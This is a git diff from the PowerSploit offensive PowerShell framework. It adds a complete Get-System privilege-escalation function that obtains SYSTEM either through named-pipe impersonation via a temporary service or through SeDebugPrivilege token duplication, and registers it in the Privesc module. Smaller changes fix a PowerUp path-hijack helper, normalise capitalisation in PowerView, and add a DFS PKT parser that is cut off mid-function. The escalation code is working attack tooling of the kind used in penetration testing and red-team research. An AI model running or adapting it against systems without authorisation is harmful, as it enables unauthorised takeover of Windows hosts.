diff options
-rw-r--r-- | Privesc/Get-System.ps1 | 590 | ||||
-rw-r--r-- | Privesc/PowerUp.ps1 | 1 | ||||
-rw-r--r-- | Privesc/Privesc.psd1 | 7 | ||||
-rw-r--r-- | Recon/PowerView.ps1 | 608 | ||||
-rw-r--r-- | Tests/Privesc.tests.ps1 | 42 |
5 files changed, 1133 insertions, 115 deletions
diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 new file mode 100644 index 0000000..32d4399 --- /dev/null +++ b/Privesc/Get-System.ps1 @@ -0,0 +1,590 @@ +function Get-System { +<# + .SYNOPSIS + + GetSystem functionality inspired by Meterpreter's getsystem. + 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create + a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. + NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure + token duplication works correctly. + + PowerSploit Function: Get-System + Author: @harmj0y, @mattifestation + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER Technique + + The technique to use, 'NamedPipe' or 'Token'. + + .PARAMETER ServiceName + + The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER PipeName + + The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER RevToSelf + + Reverts the current thread privileges. + + .PARAMETER WhoAmI + + Switch. Display the credentials for the current PowerShell thread. + + .EXAMPLE + + PS> Get-System + + Uses named impersonate to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + + Uses named impersonate to elevate the current thread token to SYSTEM + with a custom service and pipe name. + + .EXAMPLE + + PS> Get-System -Technique Token + + Uses token duplication to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -WhoAmI + + Displays the credentials for the current thread. + + .EXAMPLE + + PS> Get-System -RevToSelf + + Reverts the current thread privileges. + + .LINK + + https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c + https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ + http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +#> + [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] + param( + [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = "Token")] + [String] + [ValidateSet("NamedPipe", "Token")] + $Technique = 'NamedPipe', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $ServiceName = 'TestSVC', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $PipeName = 'TestSVC', + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI + ) + + $ErrorActionPreference = "Stop" + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # performs named pipe impersonation to elevate to SYSTEM without needing + # SeDebugPrivilege + function Local:Get-SystemNamedPipe { + param( + [String] + $ServiceName = "TestSVC", + + [String] + $PipeName = "TestSVC" + ) + + $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + + # create the named pipe used for impersonation and set appropriate permissions + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() + + # Declare/setup all the needed API function + # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient + $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) + $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) + + $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle + $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) + $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) + + $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA + $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) + $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) + + $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA + $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) + $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) + + $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA + $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) + + $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA + $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) + $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) + + $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService + $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) + $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) + + $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError + $GetLastErrorDelegate = Get-DelegateType @() ([Int]) + $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) + + # Step 1 - OpenSCManager() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + Write-Verbose "Opening service manager" + $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) + Write-Verbose "Service manager handle: $ManagerHandle" + + # if we get a non-zero handle back, everything was successful + if ($ManagerHandle -and ($ManagerHandle -ne 0)) { + + # Step 2 - CreateService() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # 0x10 = SERVICE_WIN32_OWN_PROCESS + # 0x3 = SERVICE_DEMAND_START + # 0x1 = SERVICE_ERROR_NORMAL + Write-Verbose "Creating new service: '$ServiceName'" + try { + $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) + $err = $GetLastError.Invoke() + } + catch { + Write-Warning "Error creating service : $_" + $ServiceHandle = 0 + } + Write-Verbose "CreateServiceA Handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)) { + $Success = $True + Write-Verbose "Service successfully created" + + # Step 3 - CloseServiceHandle() for the service handle + Write-Verbose "Closing service handle" + $Null = $CloseServiceHandle.Invoke($ServiceHandle) + + # Step 4 - OpenService() + Write-Verbose "Opening the service '$ServiceName'" + $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) + Write-Verbose "OpenServiceA handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + + # Step 5 - StartService() + Write-Verbose "Starting the service" + $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) + $err = $GetLastError.Invoke() + + # if we successfully started the service, let it breathe and then delete it + if ($val -ne 0){ + Write-Verbose "Service successfully started" + # breathe for a second + Start-Sleep -s 1 + } + else{ + if ($err -eq 1053){ + Write-Verbose "Command didn't respond to start" + } + else{ + Write-Warning "StartService failed, LastError: $err" + } + # breathe for a second + Start-Sleep -s 1 + } + + # start cleanup + # Step 6 - DeleteService() + Write-Verbose "Deleting the service '$ServiceName'" + $val = $DeleteService.invoke($ServiceHandle) + $err = $GetLastError.Invoke() + + if ($val -eq 0){ + Write-Warning "DeleteService failed, LastError: $err" + } + else{ + Write-Verbose "Service successfully deleted" + } + + # Step 7 - CloseServiceHandle() for the service handle + Write-Verbose "Closing the service handle" + $val = $CloseServiceHandle.Invoke($ServiceHandle) + Write-Verbose "Service handle closed off" + } + else { + Write-Warning "[!] OpenServiceA failed, LastError: $err" + } + } + + else { + Write-Warning "[!] CreateService failed, LastError: $err" + } + + # final cleanup - close off the manager handle + Write-Verbose "Closing the manager handle" + $Null = $CloseServiceHandle.Invoke($ManagerHandle) + } + else { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + Write-Warning "[!] OpenSCManager failed, LastError: $err" + } + + if($Success) { + Write-Verbose "Waiting for pipe connection" + $Pipe.WaitForConnection() + + $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() + + $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) + Write-Verbose "ImpersonateNamedPipeClient: $Out" + } + + # clocse off the named pipe + $Pipe.Dispose() + } + + # performs token duplication to elevate to SYSTEM + # needs SeDebugPrivilege + # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + Function Local:Get-SystemToken { + [CmdletBinding()] param() + + $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') + $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) + $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null + $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() + + $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) + $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LuidStruct = $LuidTypeBuilder.CreateType() + + $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) + $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null + $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() + + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) + $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) + $PrivilegesField.SetCustomAttribute($AttribBuilder) + $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'advapi32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'kernel32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcess', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [IntPtr], + @([UInt32], [Bool], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'CloseHandle', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'DuplicateToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Int32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'SetThreadToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcessToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'LookupPrivilegeValue', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([String], [String], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'AdjustTokenPrivileges', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32Methods = $Win32TypeBuilder.CreateType() + + $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} + $GetCurrentProcess = $Win32Native.GetMethod( + 'GetCurrentProcess', + [Reflection.BindingFlags] 'NonPublic, Static' + ) + + $SE_PRIVILEGE_ENABLED = 0x00000002 + $STANDARD_RIGHTS_REQUIRED = 0x000F0000 + $STANDARD_RIGHTS_READ = 0x00020000 + $TOKEN_ASSIGN_PRIMARY = 0x00000001 + $TOKEN_DUPLICATE = 0x00000002 + $TOKEN_IMPERSONATE = 0x00000004 + $TOKEN_QUERY = 0x00000008 + $TOKEN_QUERY_SOURCE = 0x00000010 + $TOKEN_ADJUST_PRIVILEGES = 0x00000020 + $TOKEN_ADJUST_GROUPS = 0x00000040 + $TOKEN_ADJUST_DEFAULT = 0x00000080 + $TOKEN_ADJUST_SESSIONID = 0x00000100 + $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY + $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor + $TOKEN_ASSIGN_PRIMARY -bor + $TOKEN_DUPLICATE -bor + $TOKEN_IMPERSONATE -bor + $TOKEN_QUERY -bor + $TOKEN_QUERY_SOURCE -bor + $TOKEN_ADJUST_PRIVILEGES -bor + $TOKEN_ADJUST_GROUPS -bor + $TOKEN_ADJUST_DEFAULT -bor + $TOKEN_ADJUST_SESSIONID + + [long]$Luid = 0 + + $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $Luid + $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED + + $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + + $htoken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) + + $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) + $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + + if(-not($RetVal)) { + Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop + } + + $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + + $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { + try { + $OwnerInfo = $_.GetOwner() + if ($OwnerInfo.Domain -and $OwnerInfo.User) { + $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + + if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { + $Process = Get-Process -Id $_.ProcessId + + $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) + if ($Handle) { + $Handle + } + } + } + } + catch {} + } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 + + if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { + Write-Error 'Unable to obtain a handle to a system process.' + } + else { + [IntPtr]$SystemToken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "OpenProcessToken result: $RetVal" + Write-Verbose "OpenProcessToken result: $LastError" + + [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero + $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "DuplicateToken result: $LastError" + + $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + if(-not($RetVal)) { + Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop + } + + Write-Verbose "SetThreadToken result: $LastError" + $null = $Win32Methods::CloseHandle($Handle) + } + } + + if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { + Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop + } + + if($PSBoundParameters['WhoAmI']) { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + return + } + + elseif($PSBoundParameters['RevToSelf']) { + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $RetVal = $RevertToSelf.Invoke() + if($RetVal) { + Write-Output "RevertToSelf successful." + } + else { + Write-Warning "RevertToSelf failed." + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + else { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + if($Technique -eq 'NamedPipe') { + # if we're using named pipe impersonation with a service + Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName + } + else { + # otherwise use token duplication + Get-SystemToken + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } +} diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 3f6be9f..cb2bda5 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -1292,6 +1292,7 @@ function Find-PathHijack { if (-not $Path.EndsWith("\")){ $Path = $Path + "\" } + $Path = [System.Environment]::ExpandEnvironmentVariables($Path) # reference - http://stackoverflow.com/questions/9735449/how-to-verify-whether-the-share-has-write-access $TestPath = Join-Path $Path ([IO.Path]::GetRandomFileName()) diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 9777f2a..d3d9a97 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -22,7 +22,7 @@ Description = 'PowerSploit Privesc Module' PowerShellVersion = '2.0' # Functions to export from this module -FunctionsToExport = @( +FunctionsToExport = @( 'Find-DLLHijack', 'Find-PathHijack', 'Get-ApplicationHost', @@ -43,11 +43,12 @@ FunctionsToExport = @( 'Write-HijackDll', 'Write-ServiceBinary', 'Write-UserAddMSI', - 'Get-SiteListPassword' + 'Get-SiteListPassword', + 'Get-System' ) # List of all files packaged with this module -FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md' +FileList = 'Privesc.psm1', 'Get-SiteListPassword.ps1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md' } diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d95443f..c6ce1d2 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -749,7 +749,7 @@ filter Export-PowerViewCSV { if (Test-Path -Path $OutFile) { # hack to skip the first line of output if the file already exists - $ObjectCSV | Foreach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile } else { $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile @@ -2857,7 +2857,7 @@ function Get-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { $Object = [adsi]($_.path) if($Object.distinguishedname) { @@ -2888,7 +2888,7 @@ function Get-ObjectAcl { else { $_ } - } | Foreach-Object { + } | ForEach-Object { if($GUIDs) { # if we're resolving GUIDs, map them them to the resolved hash table $AclProperties = @{} @@ -3080,7 +3080,7 @@ function Add-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects $TargetDN = $_.Properties.distinguishedname @@ -4659,7 +4659,7 @@ function Get-NetGroup { # cause the cache to calculate the token groups for the user $UserDirectoryEntry.RefreshCache("tokenGroups") - $UserDirectoryEntry.TokenGroups | Foreach-Object { + $UserDirectoryEntry.TokenGroups | ForEach-Object { # convert the token group sid $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value @@ -5085,7 +5085,7 @@ function Get-NetFileServer { $TargetUsers -Match $_.samAccountName } else { $True } - } | Foreach-Object { + } | ForEach-Object { # split out every potential file server path if($_.homedirectory) { SplitPath($_.homedirectory) @@ -5138,13 +5138,13 @@ function Get-DFSshare { .EXAMPLE PS C:\> Get-DFSshare - + Returns all distributed file system shares for the current domain. .EXAMPLE PS C:\> Get-DFSshare -Domain test - + Returns all distributed file system shares for the 'test' domain. #> @@ -5171,6 +5171,185 @@ function Get-DFSshare { $Credential ) + function Parse-Pkt { + [CmdletBinding()] + param( + [byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + #Write-Host "Element Count: " $blob_element_count + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + #Write-Host "Blob name size: " $blob_name_size + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + #Write-Host "Blob Name: " $blob_name + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + #Write-Host "blob data size: " $blob_data_size + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + #write-host "Prefix: " $prefix + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + #write-host "Short Prefix: " $short_prefix + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + #write-host $type + 